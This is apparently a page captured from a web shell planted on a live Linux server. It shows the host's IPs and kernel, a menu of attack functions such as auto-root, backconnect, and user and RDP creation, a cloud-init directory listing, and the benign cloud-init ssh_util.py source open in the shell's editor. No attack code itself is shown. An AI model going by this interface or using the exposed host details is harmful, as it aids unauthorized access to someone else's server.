Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.142.255.23
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
cloudinit /
[ HOME SHELL ]
Name
Size
Permission
Action
cmd
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
distros
[ DIR ]
drwxr-xr-x
filters
[ DIR ]
drwxr-xr-x
handlers
[ DIR ]
drwxr-xr-x
mergers
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
reporting
[ DIR ]
drwxr-xr-x
sources
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
__init__.pyc
141
B
-rw-r--r--
__init__.pyo
141
B
-rw-r--r--
atomic_helper.py
1.09
KB
-rw-r--r--
atomic_helper.pyc
1.3
KB
-rw-r--r--
atomic_helper.pyo
1.3
KB
-rw-r--r--
cloud.py
3.04
KB
-rw-r--r--
cloud.pyc
3.88
KB
-rw-r--r--
cloud.pyo
3.88
KB
-rw-r--r--
cs_utils.py
3
KB
-rw-r--r--
cs_utils.pyc
4.36
KB
-rw-r--r--
cs_utils.pyo
4.36
KB
-rw-r--r--
dhclient_hook.py
1.57
KB
-rw-r--r--
dhclient_hook.pyc
2.28
KB
-rw-r--r--
dhclient_hook.pyo
2.28
KB
-rw-r--r--
ec2_utils.py
6.68
KB
-rw-r--r--
ec2_utils.pyc
6.16
KB
-rw-r--r--
ec2_utils.pyo
6.16
KB
-rw-r--r--
gpg.py
2.05
KB
-rw-r--r--
gpg.pyc
2.16
KB
-rw-r--r--
gpg.pyo
2.16
KB
-rw-r--r--
helpers.py
14.41
KB
-rw-r--r--
helpers.pyc
16.36
KB
-rw-r--r--
helpers.pyo
16.36
KB
-rw-r--r--
importer.py
1.38
KB
-rw-r--r--
importer.pyc
1.12
KB
-rw-r--r--
importer.pyo
1.12
KB
-rw-r--r--
log.py
3.99
KB
-rw-r--r--
log.pyc
3.58
KB
-rw-r--r--
log.pyo
3.58
KB
-rw-r--r--
netinfo.py
8.06
KB
-rw-r--r--
netinfo.pyc
6.45
KB
-rw-r--r--
netinfo.pyo
6.45
KB
-rw-r--r--
patcher.py
1.23
KB
-rw-r--r--
patcher.pyc
1.49
KB
-rw-r--r--
patcher.pyo
1.49
KB
-rw-r--r--
registry.py
1.01
KB
-rw-r--r--
registry.pyc
1.76
KB
-rw-r--r--
registry.pyo
1.76
KB
-rw-r--r--
safeyaml.py
533
B
-rw-r--r--
safeyaml.pyc
891
B
-rw-r--r--
safeyaml.pyo
891
B
-rw-r--r--
serial.py
1.19
KB
-rw-r--r--
serial.pyc
1.81
KB
-rw-r--r--
serial.pyo
1.81
KB
-rw-r--r--
settings.py
1.71
KB
-rw-r--r--
settings.pyc
1.21
KB
-rw-r--r--
settings.pyo
1.21
KB
-rw-r--r--
signal_handler.py
1.8
KB
-rw-r--r--
signal_handler.pyc
2.29
KB
-rw-r--r--
signal_handler.pyo
2.29
KB
-rw-r--r--
ssh_util.py
9.99
KB
-rw-r--r--
ssh_util.pyc
9.75
KB
-rw-r--r--
ssh_util.pyo
9.75
KB
-rw-r--r--
stages.py
32.88
KB
-rw-r--r--
stages.pyc
26.5
KB
-rw-r--r--
stages.pyo
26.5
KB
-rw-r--r--
templater.py
5.29
KB
-rw-r--r--
templater.pyc
4.91
KB
-rw-r--r--
templater.pyo
4.91
KB
-rw-r--r--
type_utils.py
945
B
-rw-r--r--
type_utils.pyc
729
B
-rw-r--r--
type_utils.pyo
729
B
-rw-r--r--
url_helper.py
16.87
KB
-rw-r--r--
url_helper.pyc
15.94
KB
-rw-r--r--
url_helper.pyo
15.94
KB
-rw-r--r--
user_data.py
12.64
KB
-rw-r--r--
user_data.pyc
9.58
KB
-rw-r--r--
user_data.pyo
9.58
KB
-rw-r--r--
util.py
71.54
KB
-rw-r--r--
util.pyc
64.49
KB
-rw-r--r--
util.pyo
64.49
KB
-rw-r--r--
version.py
255
B
-rw-r--r--
version.pyc
333
B
-rw-r--r--
version.pyo
333
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ssh_util.py
# Copyright (C) 2012 Canonical Ltd. # Copyright (C) 2012 Hewlett-Packard Development Company, L.P. # # Author: Scott Moser <scott.moser@canonical.com> # Author: Juerg Hafliger <juerg.haefliger@hp.com> # # This file is part of cloud-init. See LICENSE file for license information. import os import pwd from cloudinit import log as logging from cloudinit import util LOG = logging.getLogger(__name__) # See: man sshd_config DEF_SSHD_CFG = "/etc/ssh/sshd_config" # taken from openssh source openssh-7.3p1/sshkey.c: # static const struct keytype keytypes[] = { ... } VALID_KEY_TYPES = ( "dsa", "ecdsa", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ed25519", "rsa", "rsa-sha2-256", "rsa-sha2-512", "ssh-dss", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed25519-cert-v01@openssh.com", "ssh-rsa", "ssh-rsa-cert-v01@openssh.com", ) class AuthKeyLine(object): def __init__(self, source, keytype=None, base64=None, comment=None, options=None): self.base64 = base64 self.comment = comment self.options = options self.keytype = keytype self.source = source def valid(self): return (self.base64 and self.keytype) def __str__(self): toks = [] if self.options: toks.append(self.options) if self.keytype: toks.append(self.keytype) if self.base64: toks.append(self.base64) if self.comment: toks.append(self.comment) if not toks: return self.source else: return ' '.join(toks) class AuthKeyLineParser(object): """ AUTHORIZED_KEYS FILE FORMAT AuthorizedKeysFile specifies the file containing public keys for public key authentication; if none is specified, the default is ~/.ssh/authorized_keys. Each line of the file contains one key (empty (because of the size of the public key encoding) up to a limit of 8 kilo- bytes, which permits DSA keys up to 8 kilobits and RSA keys up to 16 kilobits. You don't want to type them in; instead, copy the identity.pub, id_dsa.pub, or the id_rsa.pub file and edit it. sshd enforces a minimum RSA key modulus size for protocol 1 and protocol 2 keys of 768 bits. The options (if present) consist of comma-separated option specifica- tions. No spaces are permitted, except within double quotes. The fol- lowing option specifications are supported (note that option keywords are case-insensitive): """ def _extract_options(self, ent): """ The options (if present) consist of comma-separated option specifica- tions. No spaces are permitted, except within double quotes. Note that option keywords are case-insensitive. """ quoted = False i = 0 while (i < len(ent) and ((quoted) or (ent[i] not in (" ", "\t")))): curc = ent[i] if i + 1 >= len(ent): i = i + 1 break nextc = ent[i + 1] if curc == "\\" and nextc == '"': i = i + 1 elif curc == '"': quoted = not quoted i = i + 1 options = ent[0:i] # Return the rest of the string in 'remain' remain = ent[i:].lstrip() return (options, remain) def parse(self, src_line, options=None): # modeled after opensshes auth2-pubkey.c:user_key_allowed2 line = src_line.rstrip("\r\n") if line.startswith("#") or line.strip() == '': return AuthKeyLine(src_line) def parse_ssh_key(ent): # return ketype, key, [comment] toks = ent.split(None, 2) if len(toks) < 2: raise TypeError("To few fields: %s" % len(toks)) if toks[0] not in VALID_KEY_TYPES: raise TypeError("Invalid keytype %s" % toks[0]) # valid key type and 2 or 3 fields: if len(toks) == 2: # no comment in line toks.append("") return toks ent = line.strip() try: (keytype, base64, comment) = parse_ssh_key(ent) except TypeError: (keyopts, remain) = self._extract_options(ent) if options is None: options = keyopts try: (keytype, base64, comment) = parse_ssh_key(remain) except TypeError: return AuthKeyLine(src_line) return AuthKeyLine(src_line, keytype=keytype, base64=base64, comment=comment, options=options) def parse_authorized_keys(fname): lines = [] try: if os.path.isfile(fname): lines = util.load_file(fname).splitlines() except (IOError, OSError): util.logexc(LOG, "Error reading lines from %s", fname) lines = [] parser = AuthKeyLineParser() contents = [] for line in lines: contents.append(parser.parse(line)) return contents def update_authorized_keys(old_entries, keys): to_add = list(keys) for i in range(0, len(old_entries)): ent = old_entries[i] if not ent.valid(): continue # Replace those with the same base64 for k in keys: if not ent.valid(): continue if k.base64 == ent.base64: # Replace it with our better one ent = k # Don't add it later if k in to_add: to_add.remove(k) old_entries[i] = ent # Now append any entries we did not match above for key in to_add: old_entries.append(key) # Now format them back to strings... lines = [str(b) for b in old_entries] # Ensure it ends with a newline lines.append('') return '\n'.join(lines) def users_ssh_info(username): pw_ent = pwd.getpwnam(username) if not pw_ent or not pw_ent.pw_dir: raise RuntimeError("Unable to get ssh info for user %r" % (username)) return (os.path.join(pw_ent.pw_dir, '.ssh'), pw_ent) def extract_authorized_keys(username): (ssh_dir, pw_ent) = users_ssh_info(username) auth_key_fn = None with util.SeLinuxGuard(ssh_dir, recursive=True): try: # The 'AuthorizedKeysFile' may contain tokens # of the form %T which are substituted during connection set-up. # The following tokens are defined: %% is replaced by a literal # '%', %h is replaced by the home directory of the user being # authenticated and %u is replaced by the username of that user. ssh_cfg = parse_ssh_config_map(DEF_SSHD_CFG) auth_key_fn = ssh_cfg.get("authorizedkeysfile", '').strip() if not auth_key_fn: auth_key_fn = "%h/.ssh/authorized_keys" auth_key_fn = auth_key_fn.replace("%h", pw_ent.pw_dir) auth_key_fn = auth_key_fn.replace("%u", username) auth_key_fn = auth_key_fn.replace("%%", '%') if not auth_key_fn.startswith('/'): auth_key_fn = os.path.join(pw_ent.pw_dir, auth_key_fn) except (IOError, OSError): # Give up and use a default key filename auth_key_fn = os.path.join(ssh_dir, 'authorized_keys') util.logexc(LOG, "Failed extracting 'AuthorizedKeysFile' in ssh " "config from %r, using 'AuthorizedKeysFile' file " "%r instead", DEF_SSHD_CFG, auth_key_fn) return (auth_key_fn, parse_authorized_keys(auth_key_fn)) def setup_user_keys(keys, username, options=None): # Make sure the users .ssh dir is setup accordingly (ssh_dir, pwent) = users_ssh_info(username) if not os.path.isdir(ssh_dir): util.ensure_dir(ssh_dir, mode=0o700) util.chownbyid(ssh_dir, pwent.pw_uid, pwent.pw_gid) # Turn the 'update' keys given into actual entries parser = AuthKeyLineParser() key_entries = [] for k in keys: key_entries.append(parser.parse(str(k), options=options)) # Extract the old and make the new (auth_key_fn, auth_key_entries) = extract_authorized_keys(username) with util.SeLinuxGuard(ssh_dir, recursive=True): content = update_authorized_keys(auth_key_entries, key_entries) util.ensure_dir(os.path.dirname(auth_key_fn), mode=0o700) util.write_file(auth_key_fn, content, mode=0o600) util.chownbyid(auth_key_fn, pwent.pw_uid, pwent.pw_gid) class SshdConfigLine(object): def __init__(self, line, k=None, v=None): self.line = line self._key = k self.value = v @property def key(self): if self._key is None: return None # Keywords are case-insensitive return self._key.lower() def __str__(self): if self._key is None: return str(self.line) else: v = str(self._key) if self.value: v += " " + str(self.value) return v def parse_ssh_config(fname): # See: man sshd_config # The file contains keyword-argument pairs, one per line. # Lines starting with '#' and empty lines are interpreted as comments. # Note: key-words are case-insensitive and arguments are case-sensitive lines = [] if not os.path.isfile(fname): return lines for line in util.load_file(fname).splitlines(): line = line.strip() if not line or line.startswith("#"): lines.append(SshdConfigLine(line)) continue try: key, val = line.split(None, 1) except ValueError: key, val = line.split('=', 1) lines.append(SshdConfigLine(line, key, val)) return lines def parse_ssh_config_map(fname): lines = parse_ssh_config(fname) if not lines: return {} ret = {} for line in lines: if not line.key: continue ret[line.key] = line.value return ret # vi: ts=4 expandtab
Close